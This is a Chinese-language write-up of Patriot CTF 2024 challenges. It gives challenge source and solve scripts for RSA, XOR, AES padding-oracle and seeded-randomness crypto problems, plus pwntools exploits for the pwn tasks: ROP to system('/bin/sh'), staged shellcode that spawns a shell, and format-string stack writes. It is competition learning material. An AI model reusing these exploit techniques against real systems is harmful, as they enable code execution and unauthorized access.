当前位置: 首页 > article >正文

[Patriot CTF 2024]

Crypto

Bigger is Better

这外国比赛也搞这种猜的题,给了N,e,c其中e非N差不多,所以猜d很小(纯猜,d很小会使e很大,但反过来不一定成立)

直接用连分式e/N来分解出d

N = 0xa0d9f425fe1246c25b8c3708b9f6d7747dd5b5e7f79719831c5cbe19fb7bab66ed62719b3fc6090120d2cfe1410583190cd650c32a4151550732b0fc97130e5f02aa26cb829600b6ab452b5b11373ec69d4eaae6c392d92da8bcbea85344af9d4699e36fdca075d33f58049fd0a9f6919f3003512a261a00985dc3d9843a822974df30b81732a91ce706c44bde5ff48491a45a5fa8d5d73bba5022af803ab7bd85250e71fc0254fcf078d21eaa5d38724014a85f679e8a7a1aad6ed22602465f90e6dd8ef95df287628832850af7e3628ad09ff90a6dbdf7a0e6d74f508d2a6235d4eae5a828ac95558bbdf72f39af5641dfe3edb0cdaab362805d926106e2af
e = 0x5af5dbe4af4005564908a094e0eabb0a921b7482483a753e2a4d560700cb2b2dc9399b608334e05140f54d90fcbef70cec097e3f75395d0c4799d9ec3e670aca41da0892a7b3d038acb7a518be1ced8d5224354ce39e465450c12be653639a8215afb1ba70b1f8f71fc1a0549853998e2337604fca7edac67dd1e7ddeb897308ebf26ade781710e6a2fe4c533a584566ea42068d0452c1b1ecef00a781b6d31fbab893de0c9e46fce69c71cefad3119e8ceebdab25726a96aaf02a7c4a6a38d2f75f413f89064fef14fbd5762599ca8eb3737122374c5e34a7422ea1b3d7c43a110d3209e1c5e23e4eece9e964da2c447c9e5e1c8a6038dc52d699f9324fd6b9
c = 0x731ceb0ac8f10c8ff82450b61b414c4f7265ccf9f73b8e238cc7265f83c635575a9381aa625044bde7b34ad7cce901fe7512c934b7f6729584d2a77c47e8422c8c0fe2d3dd12aceda8ef904ad5896b971f8b79048e3e2f99f600bf6bac6cad32f922899c00fdc2d21fcf3d0093216bfc5829f02c08ba5e534379cc9118c347763567251c0fe57c92efe0a96c8595bac2c759837211aac914ea3b62aae096ebb8cb384c481b086e660f0c6249c9574289fe91b683609154c066de7a94eafa749c9e92d83a9d473cc88accd9d4c5754ccdbc5aa77ba9a790bc512404a81fc566df42b652a55b9b8ffb189f734d1c007b6cbdb67e14399182016843e27e6d4e5fca


#猜d很小,连分式求d
def plus(e, n):
    m = 2
    c = pow(m, e, n)
    q0 = 1
    
    list1 = continued_fraction(Integer(e)/Integer(n))
    conv = list1.convergents()
    for i in conv:
        k = i.numerator()
        q1 = i.denominator()
        for r in range(20):
            for s in range(20):
                d = r*q1 + s*q0
                m1 = pow(c, d, n)
                if m1 == m:
                    print(r,s)
                    return d   
        q0 = q1

d = plus(e,N)
#15 4
#6790868203158235630829276584520781742736789439092826195998797654123576347733572735958718971497900958255627200126351007473832666320814528828633214007567537
m = pow(c,d,N)
from Crypto.Util.number import *
long_to_bytes(int(m))
b'pctf{fun_w1th_l4tt1c3s_f039ab9}'

IDK cipher

 

import base64
"""
********************************************
*                                          *
*                                          *
********************************************
"""
# WARNING: This is a secret key. Do not expose it.
srt_key = 'secretkey' # // TODO: change the placeholder
usr_input = input("\t:"*10)
if len(usr_input) <= 1:
    raise ValueError("PT must be greater than 1")
if len(usr_input) % 2 != 0:
    raise ValueError("PT can only be an even number")
if not usr_input.isalnum():
    raise ValueError("Only alphabets and numbers supported")
# WARNING: Reversing input might expose sensitive information.
rsv_input = usr_input[::-1]
output_arr = []
for i in range(int(len(usr_input) / 2)):
    c1 = ord(usr_input[i])
    c2 = ord(rsv_input[i])
    enc_p1 = chr(c1 ^ ord(srt_key[i % len(srt_key)]))
    enc_p2 = chr(c2 ^ ord(srt_key[i % len(srt_key)]))
    output_arr.append(enc_p1)
    output_arr.append(enc_p2)
# WARNING: Encoded text should not be decoded without proper authorization.
encoded_val = ''.join(output_arr)
b64_enc_val = base64.b64encode(encoded_val.encode())
R = "R"*20
E = "E"*5
EXCLAMATION = "!"*5
print(f"ULTRA SUPE{R} SECUR{E} Encoded Cipher Text{EXCLAMATION}:", b64_enc_val.decode())
'''
idk cipher
392
Beginner
I spent a couple of hours with ???; now I am the world's best cryptographer!!! note: the flag contents will just random chars-- not english/leetspeak

Cipher Text: QRVWUFdWEUpdXEVGCF8DVEoYEEIBBlEAE0dQAURFD1I=

Please wrap the flag with pctf{}.

Author: sans909
'''

这个还是猜,由于明文和密文异或的加密,密钥是循环使用的,所以把每个可能的密钥堆一起看循环多少会有重复。

a = b64decode('QRVWUFdWEUpdXEVGCF8DVEoYEEIBBlEAE0dQAURFD1I=')
for i in range(0,32,2):
    k = ''
    for v in '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz':
        if chr(ord(v)^a[i]).isalnum() and chr(ord(v)^a[i+1]).isalnum():
            k += v
        
    print(k)

'''
pqrstvwxy
12345789abcdefg
01234589abcdefgno
rsxyz
0123456789dehijklmno
01234567pqrstuvw
0189fgijklmno
0123567abdefglm
rsyz
qrstuvwz
01234567BCDEGHIJKLMNOPQRSTUVWbcdeghijklmnopqrstuvw
023456789abcdefghi
pqrtuvw
123456789bcdefghi
01234567pqrstuvw
6789abcdefgjk
'''

 结果就是题目里给的secretkey,早猜省大事了。

a = b64decode('QRVWUFdWEUpdXEVGCF8DVEoYEEIBBlEAE0dQAURFD1I=')
key = b'secretkey'*2
v1 = ''
v2 = ''
for i in range(16):
    v1 += chr(a[i*2]^key[i])
    v2 = chr(a[i*2+1]^key[i])+v2 

print(v1+v2)
#pctf{234c81cf3cd2a50d91d5cc1a1429855f}

*One for you, one for me

 没弄明白

怎么解决,但确实成功的人还挺多。但这些人都不写我能搜着的WP,好几天都没搜到。

from flag import FLAG
import secrets

def share_bits_with_you(flag):
    # Convert the flag to its binary representation
    flag_bits = ''.join(f'{ord(c):08b}' for c in flag)
    num_bits = len(flag_bits)
    indices = list(range(num_bits))
    
    # Fisher-Yates shuffle to mix up the bits
    for i in range(num_bits - 1, 0, -1):
        j = secrets.randbelow(i + 1)  #会出现不变的情况
        indices[i], indices[j] = indices[j], indices[i]
    
    # Split the bits: half for you, half for me :3
    boyfriend_indices = indices[:num_bits // 2]
    my_indices = indices[num_bits // 2:]
    
    flipped_bits = list(flag_bits)
    # You get your bits unchanged
    for i in boyfriend_indices:
        flipped_bits[i] = flag_bits[i]
    # I keep my bits by flipping them, keeping them secret (tehe~)
    for i in my_indices:
        flipped_bits[i] = '1' if flag_bits[i] == '0' else '0'
    
    # Combine the bits back into a string
    flipped_flag = ''.join(flipped_bits)
    # Convert the binary string to hexadecimal
    hex_result = hex(int(flipped_flag, 2))[2:]
    # Pad the hex result with zeros to ensure it matches the correct number of bits
    hex_result = hex_result.zfill((num_bits + 3) // 4)
    return hex_result

# Share the bits 1000000 times <3 <3 <3
for _ in range(1000000):
    result = share_bits_with_you(FLAG)
    print(result)

*Protected Console

一个AES CBC padding oracle的题,给出已知明文的密文,通过padding oracle得到AES密文对应的明文得到特定的明文。不过网站比较慢,需要5000次交互,没弄成。

#!/usr/bin/python3

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from external import *
import socketserver, signal, json, os, re, sys
from io import StringIO

listen = 1337
attempts = 10000
flag = getflag()

guest = b"{'username':'guest_user','role':0}"

def encrypt(key,iv,message):
	cipher = AES.new(key, AES.MODE_CBC, iv)
	return cipher.encrypt(pad(message,16)).hex()

def ispadding(dec):
	pad_b = dec[-2:]
	pad_amt = int("0x"+pad_b,16)
	valid = pad_b*pad_amt
	padding = dec[len(dec)-(pad_amt*2):]
	return valid==padding

def decrypt(key,token):
	iv = bytes.fromhex(token[:32].decode())
	ct = bytes.fromhex(token[32:].decode())
	cipher = AES.new(key, AES.MODE_CBC, iv)
	dec = cipher.decrypt(ct)
	return dec

def admin(tries,req):

	key = os.urandom(16)
	iv = os.urandom(16)
	eg = iv.hex()+encrypt(key,iv,b"print(1337)")

	req.sendall(b"====================================================================================================\n")
	req.sendall(b"||					ADMIN CONSOLE						||\n")
	req.sendall(b"||				RUN ENCRYPTED PYTHON CODE HERE					||\n")
	req.sendall(b"====================================================================================================\n")
	req.sendall(b" Example: "+str.encode(str(eg))+b"\n")
	while tries < attempts:
		req.sendall(b'Code ('+str.encode(str(tries))+b'/'+str.encode(str(attempts))+b'): ')
		c = req.recv(4096).strip(b'\n')
		try:
			code = decrypt(key,c)
			if ispadding(code.hex()):
				code = unpad(code,16)
				if re.match(b"print\([0-9a-zA-Z]*\)",code) != None:
					old_stdout = sys.stdout
					sys.stdout = mystdout = StringIO()
					try:
						eval(code)
					except Exception as e:
						print(str(e))
					sys.stdout = old_stdout
					req.sendall(mystdout.getvalue().encode())
					exit()
		except:
			pass
		tries += 1

def serve(req):
	tries = 0
	req.sendall(b"====================================================================================================\n")
	req.sendall(b"||                                           SECRET LOGIN                                         ||\n")
	req.sendall(b"||                                     AUTHORIZED PERSONNEL ONLY                                  ||\n")
	req.sendall(b"||                                                                                                ||\n")
	req.sendall(b"||                                    PROVIDE SECURE ACCESS TOKEN                                 ||\n")
	req.sendall(b"||                                                                                                ||\n")
	req.sendall(b"====================================================================================================\n")

	key = os.urandom(16)
	iv = os.urandom(16)
	guest_enc = iv.hex()+encrypt(key,iv,guest)

	req.sendall(b"Guest: "+str.encode(str(guest_enc))+b"\n")
	while tries < attempts:
		req.sendall(b'Access token ('+str.encode(str(tries))+b'/'+str.encode(str(attempts))+b'): ')
		t = req.recv(4096).strip(b'\n')
		try:
			token = decrypt(key,t)
			if ispadding(token.hex()):
				token = unpad(token,16)
			else:
				req.sendall(b"Error!\n")
		except Exception as e:
			print(str(e))
			tries += 1
			continue
		try:
			data = json.loads(token)
			if data['username'] == 'administrative_user' and data['role'] == 1:
				admin(tries,req)
		except:
			pass
		tries += 1

class incoming(socketserver.BaseRequestHandler):
	def handle(self):
		signal.alarm(1500)
		req = self.request
		serve(req)

def main():
	socketserver.TCPServer.allow_reuse_address = True
	server = ReusableTCPServer(("0.0.0.0", listen), incoming)
	server.serve_forever()

if __name__ == "__main__":
	main()

对于AES_CBC模式,会把IV与明文异或后再加密得到密文,如果修改IV就会得到另外一个明文,这个明文可以通过padding是否正确来求出m^iv的值,每字节256种情况,16字节一块,所以交互量很大。没完成验证,大体意思是这样的。

最后一段的明文和密文都知道,修改的IV也就是前一块的密文。前一块密文再求对应的明文。

#!/usr/bin/python3
from pwn import *
from Crypto.Util.Padding import pad, unpad

def padding_oracle(c):
    tail = b''
    for i in range(1,17):
        for v in range(256):
            iv = b'\0'*(16-i) + bytes([v])
            if len(tail) != 0:
                iv += xor(tail, bytes([i]))
            '''
            m_ = decrypt(key,(iv+c).hex().encode())
            if ispadding(m_.hex()):
                print(i,v,m_)
                tail = bytes([i^v]) + tail
                break
            '''
            p.sendlineafter(b'/10000): ', (iv+c).hex().encode())
            m_ = p.recv(8)
            if b'Access' in m_:
                tail = bytes([i^v]) + tail
                print(tail)
                break
    print(tail)
    return tail

p = remote('chal.competitivecyber.club', 6002)
#context.log_level = 'debug'

p.recvuntil(b"Guest: ")
guest_enc = p.recvline().strip().decode()
enc = bytes.fromhex(guest_enc)
print('C:', enc)

c = [enc[i:i+16] for i in range(16,64,16)]
m0 = b"{'username':'guest_user','role':0}"
m1 = b"{'username':'administrative_user','role':1}"
m0s = [pad(m0,16)[i:i+16] for i in range(0, 48, 16)]
m1s = [pad(m1,16)[i:i+16] for i in range(0, 48, 16)]

#尾段,直接使用原密文,计算它的前一段密文:IV
c2 = c[2]
c1 = xor(c[1],m0s[2],m1s[2])
#decrypt(key,(c1+c2).hex().encode())
#b"','role':1}\x05\x05\x05\x05\x05"

#padding Oracle获取c1对应的明文
c0 = padding_oracle(c1)
c0 = xor(c0, m1s[1])
#decrypt(key,(c0+c1+c2).hex().encode())
#b"inistrative_user','role':1}\x05\x05\x05\x05\x05"

#获取第1段密文对应的IV
civ = padding_oracle(c0)
civ = xor(civ, m1s[0])

m = civ+c0+c1+c2
#decrypt(m.hex().encode())
#b"{'username':'administrative_user','role':1}\x05\x05\x05\x05\x05"

#admin 
p.sendlineafter(b"/10000): ", m.hex().encode())
p.recvuntil(b" Example: ")
enc2 = bytes.fromhex(p.recvline().strip())
iv3 = xor(enc2[:16], pad(b"print(1337)"), pad(b"print(flag)"))
m3  = iv3+enc2[16:]
p.sendlineafter(b"/10000): ", m3.hex().encode())

 *Melting Tux

给了一张PNG图和一块代码。

from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad,unpad
import os
from datetime import datetime
import random

# safe key, trust
key = '00000000000000000000000000000000' 

def gen_offset():
    super_safe_seed = int(datetime.utcnow().timestamp())
    random.seed(super_safe_seed)
    return random.randint(1000,2000)

def encrypt(raw):
    raw = pad(raw,16)
    cipher = AES.new(key.encode('utf-8'), AES.MODE_[!garbled!])
    return cipher.encrypt(raw)

def decrypt(enc):
    cipher = AES.new(key.encode('utf-8'), AES.MODE_[!garbled!])
    return unpad(cipher.decrypt(enc),16)

### encrypted past this point, sorry!

同样相信他这个key就是正确的。PNG后部加密应该是AES_ECB加密的,可以解出来,生成的图后部还是错位的。但是可以得到IDAT,IEND的标志,应该解密没错。不清楚后边怎么弄,能看到部分字符但看不清。 

High Roller

给了公钥和p,q的生成方法,是用时间作种子,求利用random来求的。根据题目文件的时间向前可以爆破出来。

#! /usr/bin/python3.10
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import random
import time

random.seed(int(time.time()))
p, q = getPrime(512, random.randbytes), getPrime(512, random.randbytes)
n = p*q
e = getPrime(512)
phi = (p-1)*(q-1)

assert GCD(e, phi) == 1
d = pow(e, -1, phi)

key = RSA.construct((n, e, d, p, q))
with open("public_key.pem", "wb") as f:
    f.write(key.publickey().export_key("PEM"))

with open("private_key.pem", "wb") as f:
    f.write(key.export_key("PEM"))
t = time.mktime((2024,8,19,6,8,0,0,0,0)) #key生成时间

for i in range(86400):
    random.seed(t-i)
    p = getPrime(512, random.randbytes)
    if n%p == 0:
        print(p)
        break 

p = 12755616420244552784651819814922603264461536506050691824543446955544267480734504279051922356798188307604097044560859050438094446505846479858831073168460207
q = n//p
d = invert(e, (p-1)*(q-1))
m = pow(c,d,n)
long_to_bytes(m)
#CACI{T!ME_T0_S33D}

 Hard to Implement

AES_ECB的padding oracle

#!/usr/bin/python3

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
from external import *
import socketserver, signal

listen = 1337
attempts = 1500
flag = getflag()

def encrypt(key,plaintext):
	cipher = AES.new(key, AES.MODE_ECB)
	pt = pad(plaintext + flag.encode(), 16)
	return cipher.encrypt(pt).hex()

def serve(req):
	key = get_random_bytes(16)
	tries = 0
	req.sendall(b"Thank you for using our secure communications channel.\nThis channel uses top-shelf military-grade encryption.\nIf you are not the intended recepient, you can't read our secret.")
	while tries < attempts:
		req.sendall(b'\n('+str.encode(str(tries))+b'/'+str.encode(str(attempts))+b') ')
		req.sendall(b'Send challenge > ')
		try:
			ct = encrypt(key, req.recv(4096).strip(b'\n'))
			req.sendall(b"Response > " + ct.encode() + b'\n')
		except Exception as e:
			req.sendall(b"An error occured!\n")
		tries += 1
	req.sendall(b'\nMax attempts exceeded, have a good day.\n')

class incoming(socketserver.BaseRequestHandler):
	def handle(self):
		signal.alarm(1500)
		req = self.request
		serve(req)

def main():
	socketserver.TCPServer.allow_reuse_address = True
	server = ReusableTCPServer(("0.0.0.0", listen), incoming)
	server.serve_forever()

if __name__ == "__main__":
	main()
from pwn import *
from base64 import *
import string 

def oracle(data):
    r.sendlineafter(b'Send challenge > ', data)
    r.recvuntil(b"Response > ")
    s=r.recvline().strip().decode()
    return bytes.fromhex(s)

r=remote('chal.competitivecyber.club', 6001)
flag=b''

for i in range(32):
    padding=b'A'*(32-1-i)
    test=oracle(padding) #尾部漏出flag  1个字符
    for c in string.printable:
        if oracle(padding+flag+c.encode())[:32]==test[:32]: #pad+已知的flag+猜
            flag=flag+c.encode()
            print(flag, i)
            break

 Bit by Bit

MTP的题,key最后一个字符已知

#!/usr/bin/python3
import sys

blocksize = 16

def loadMessage():
    message = ""
    with open("message.txt","r",encoding='utf-8') as file:
        for line in file:
            message += line
    while len(message) % blocksize != 0:
        message += '0'
    return message

def encode(chunk):
    start = 120
    encoded = 0
    for c in chunk:
        encoded = encoded | (ord(c)<<start)
        start -= 8
    return encoded

def transmit():

    # Test key
    key = 0xadbeefdeadbeefdeadbeef00

    iv = 0
    msg = loadMessage()
    chunks = [msg[i:i+16] for i in range(0,len(msg), 16)]

    send = ''
    for chunk in chunks:
        iv = (iv+1) % 255
        curr_k = key+iv
        encoded = encode(chunk)
        enc = encoded ^ curr_k
        foo = hex(enc)[2:]
        while len(foo) != 32:
           foo = '0'+foo
        send += foo
    print(send)
    sys.exit(0)

if __name__=="__main__":
    transmit()

一个个猜就行,因能能让所有字符都是可打印字符的key很少。最多也就两三个。再眼看去掉那些明显组不成单词的。

enc = open('out.txt').read().strip()


c = [bytes.fromhex(enc[i:i+32]) for i in range(0, len(enc),32)]
print(len(c))

key = [0,0,0,174,205,75,19,144,69,35,234,105,186, 254]
#0000 1100 1001 011
k = 16-1-len(key)-1
for tkey in range(128):
    iv = 0
    t = '---------------------------------------------------\n/'
    for j in c:
        iv = (iv+1)%255
        t+=chr(j[k]^tkey)
        for i in range(len(key)):
            t+=chr(j[k+1+i]^key[i])
        t+=chr(j[15]^iv)+'/'
    if t.replace('\n','').replace('\t','').isprintable():
        print(tkey, t)

#pctf{4_th3_tw0_t1m3_4a324510356}

 *Scrambler V2

生成key的时候执行了r.seed(int(key)) 而key是格式化的日期时间,所以可以爆破。

import random as r
import datetime as dt
import time as t
import os

def main():
    choice = ""
    print(f"Welcome to the Scrambler V2, your one stop encryption tool.")
    print(f"What would you like to do?\n")
    while choice.lower() != "q":
        menu()
        choice = input(">>> ")
        if choice == "1":
            encrypt()
        elif choice == "2":
            decrypt()
        elif choice.lower() == "q":
            print(f"Scrambler V2 exiting...")
            exit()
        else:
            print(f"Your choice ({choice}) is not a valid option.\n")

def menu():
    print(f"[1] Encrypt file")
    print(f"[2] Decrypt file")
    print(f"[Q] Exit program\n")

def encrypt():
    key, ts = generateKey(r.randint(0, 100), r.randint(0, 200), r.randint(546, 994))
    try:
        print(f"\nEnter name of file to encrypt:")
        encFile = input(">>> ")
        path = os.path.dirname(os.path.realpath(__file__))
        end = f"\\{encFile}"
        path = path + end
        with open(path, "r") as f:
            lines = f.readlines()
    except FileNotFoundError as e:
        print(f"The following error occurred: {e}\n")
    except PermissionError as e:
        print(f"The following error occurred: {e}\n")
    except KeyboardInterrupt:
        print(f"\nLeaving so soon? Don't you wanna stay???\n")
    else:
        r.shuffle(lines)
        for index, line in enumerate(lines):
            l = list(line)
            r.shuffle(l)
            lines[index] = "".join(l)
        int(key) ^ int(key); str(key) + end
        path = os.path.dirname(os.path.realpath(__file__))
        path = path + "\\encryptedFlag.txt"
        with open(path, "w") as o:
            o.writelines(lines)
        print(f"\nEncryption complete. Creating log file...")
        path = os.path.dirname(os.path.realpath(__file__))
        path = path + "\\encLog.txt"
        with open(path, "w") as l:
            l.writelines(f"Encrypted file name: encryptedFlag.txt\nEncyrption completed at {ts}\n")
        print(f"Log file created. Have a nice day!\n")

def generateKey(iv, xor1, mod1):
    now = dt.datetime.now()
    key = now.strftime("%Y%m%d%H%M%S")
    ts = f"{key[:4]}/{key[4:6]}/{key[6:8]} {key[8:10]}:{key[10:12]}:{key[12:]}"
    int(key) ^ iv; r.seed(int(key)); int(key) ^ xor1; int(key) % mod1
    return key, ts

def decrypt():
    print(f"\nEnter name of file to decrypt:")
    fileName = input(">>> ")
    print(f"\nEnter decryption key:")
    key = input(">>> ")
    end = f"\\{fileName}"
    path = os.path.dirname(os.path.realpath(__file__))
    path = path + end
    try:
        with open(path, "r") as i:
            lines = i.readlines()
            iv: 1 = r.randint(r.randint(-20000, 0), r.randint(0, 20000))
            xor1, mod1 = xor1[:] = [[]], []
            iv = 0; xor1 = 0; mod1 = 99
    except FileNotFoundError as e:
        print(f"The following error occurred: {e}\n")
    except PermissionError as e:
        print(f"The following error occurred: {e}\n")
    else:
        print(f"Attempting to decrypt file...")
        int(key) ^ iv; int(key) ^ xor1; int(key) % mod1
        t.sleep(0.6); print(f"."); t.sleep(0.6); print(f"..")
        t.sleep(0.6); print(f"..."); t.sleep(0.6)
        print(f"Decryption failed.\n")

if __name__ == "__main__":
    main()

PWN

Not So Shrimple Is It

溢出到后门,但是后门是6字节需要用尾部的\0覆盖。但远程没成功。

from pwn import *
context(arch='amd64', log_level='debug')

p = process('./shrimple')
gdb.attach(p, "b*0x4013c0\nc")

#strncat(dest, s, 0x32uLL); 遇到\0就结束(含\0),先用\0覆盖掉libc_start_main_ret的头两字节 \x7fff 再覆盖后边4字节到后门
p.sendlineafter(b"Remember to just keep it shrimple!\n>> ", b'A'*43+b'\0')
p.sendlineafter(b"Remember to just keep it shrimple!\n>> ", b'A'*42+b'\0')
p.sendlineafter(b"Remember to just keep it shrimple!\n>> ", b'A'*38+p64(0x40127d))

p.interactive()

Navigator

getpin只能向前溢出,可以用来泄露libc,这里边的libc不知道,根据其它作出来的题知道是2.35-0u3.6,setpin可以后后溢出,写ROP

from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3.8-amd64/libc.so.6')

def setpin(idx, msg):
    p.sendlineafter(b">> ", b'1')
    p.sendlineafter(b"Pin index >> ", str(idx).encode())
    p.sendlineafter(b"Pin character >> ", msg)

def getpin(idx):
    p.sendlineafter(b">> ", b'2')
    p.sendlineafter(b"Pin index >> ", str(idx).encode())
    p.recvuntil(b"Pin:\n")
    return p.recv(1)

#p = process('./navigator')
#gdb.attach(p, "b*0x5555555553b3\nc")
p = remote('chal.competitivecyber.club', 8887)

stack = b''
for i in range(8):
    stack+= getpin(-17*8+i)

print(stack[::-1].hex())
libc.address = u64(stack) - 20 - libc.sym['atoi']
print(f"{libc.address = :x}")

pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret

pay = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'])

for i,v in enumerate(pay):
    setpin(0x158+i, bytes([v]))

p.sendlineafter(b">> ", b'3')
p.interactive()

Shellcrunch

这个shell,每4字节会用5来异或1,并且每12字节会把3-6改为12,所以前2字节用jmp $+6,后边可以写6字节。作个read来绕过检查,由read来读信真正的shellcode,纯手搓.

from pwn import *
context(arch='amd64', log_level='debug')

code = b'\xeb\x04' + b'\x01'*4 + b'W^P_jp' #push rdi;pop rsi; push rax;pop rdi;push 0x70   rax=0,rdi=0,rsi=buf
code+= b'\xeb\x04' + b'\x01'*4 + b'Z\x0f\x05'
print(code)
#
a = list(code)
print(bytes(a).hex())
a[0]^=4
a[8]^=a[9]
a[12]^=4

print(bytes(a).hex())
for i in range(len(a)):
    if a[i] in list(b';/binsh\0'):
        print(i,hex(a[i]))
        
#p = process('./shellcrunch')
#gdb.attach(p,"b*0x55555555541a\nc")
p = remote('chal.competitivecyber.club', 3004)

p.sendafter(b"Enter shellcode:\n", bytes(a))
sleep(0.5)
p.send(b'\x90'*0x16+asm(shellcraft.sh()))
p.interactive()

string_only

看上去像堆题的格式化字符串题。在show的时候用printf,所以是一个串不在栈内的格式化字符串题。利用argv写栈。

from pwn import *
context(arch='amd64', log_level='debug')

#p = process('./strings_only')
#gdb.attach(p, "b*0x202971\nc")
p = remote('chal.competitivecyber.club', 8888)

p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'0x100')

def prtf(msg):
    p.sendlineafter(b"> ", b'2')
    p.sendlineafter(b"> ", b'0')
    p.sendlineafter(b"> ", msg)
    p.sendlineafter(b"> ", b'3')
    p.sendlineafter(b"> ", b'0')

prtf(b"%15$p")
stack = int(p.recvline(),16) - (0xdf28-0xde38)
print(f"{stack = :x}")

#(0xdf28-0xde10)//8+6 = 41
prtf(f"%{stack&0xffff}c%15$hn".encode())

for i,v in enumerate(p32(0xcafebabe)):
    prtf(f"%{(stack+i)&0xff}c%15$hhn\0".encode())
    prtf(f"%{v}c%41$hhn")

p.sendlineafter(b"> ", b'5')
p.interactive()
'''
0x00007fffffffde10│+0x0000: 0x0000000000204dc0  →  0x0000000000205010  →  "%6$p%7$p\n"   ← $rsp
0x00007fffffffde18│+0x0008: 0x0000000000000000
0x00007fffffffde20│+0x0010: 0x0000000000000002
0x00007fffffffde28│+0x0018: 0x0000000000000000
0x00007fffffffde30│+0x0020: 0x0000000300000000
0x00007fffffffde38│+0x0028: 0x0000000000000000
0x00007fffffffde40│+0x0030: 0x00000000002029b0  →  <__libc_csu_init+0> push rbp  ← $rbp
0x00007fffffffde48│+0x0038: 0x00007ffff782046a  →  <__libc_start_main+234> mov edi, eax
0x00007fffffffde50│+0x0040: 0x000000000000c000
0x00007fffffffde58│+0x0048: 0x00007fffffffdf28  →  0x00007fffffffe272  →  "/home/kali/ctf/2409/21/strings_only"
'''


http://www.kler.cn/news/318609.html

相关文章:

  • 【解决】chrome 谷歌浏览器,鼠标点击任何区域都是 Input 输入框的状态,能看到输入的光标
  • WPF-基础-02 DispatcherObject类
  • R语言 基础 笔记 3
  • 生成式AI赋能:对话式BI引领数据分析新潮流
  • 【devops】rsync介绍和使用
  • 数据库学习1
  • Leetcode 螺旋矩阵
  • 关于idea编辑xml文件卡死
  • 选择租用徐州服务器机柜的作用有哪些?
  • 统信服务器操作系统【开机自启动】配置方法
  • 关于前端vue3+element-plus项目正常安装运行时未报错,但是前端界面老是空白问题及解决方案(其他使用nodejs的框架同理)
  • Python记录
  • Unity Debug时出现请选择unity实例
  • 探索C语言与Linux编程:获取当前用户ID与进程ID
  • QT中的消息机制(事件机制)总结
  • 接口调用方式2
  • C语言 | Leetcode C语言题解之第434题字符串中的单词数
  • uniapp组件封装和父子组件间通讯的介绍和详细案例
  • UE学习篇ContentExample解读------Blueprint_Communication-上
  • 海康HIK IN客户端使用帮助说明
  • 【工具】语音朗读PDF的免费工具
  • 探索未来科技的深邃海洋:IT领域的波澜壮阔
  • 目标检测DOTA数据集
  • 助力智能化农田作物除草,基于YOLOv10全系列【n/s/m/b/l/x】参数模型开发构建农田作物场景下玉米苗、杂草检测识别分析系统
  • 算法:69.x的平方根
  • 力扣每日一题 字符串中最多数目的子序列 贪心 字符串 前缀和
  • JavaWeb--纯小白笔记06:使用Idea创建Web项目,Servlet生命周期,注解,中文乱码解决
  • 基于姿态估计算法的健身辅助应用
  • 关系型数据库 - MySQL II
  • Redis 数据同步原理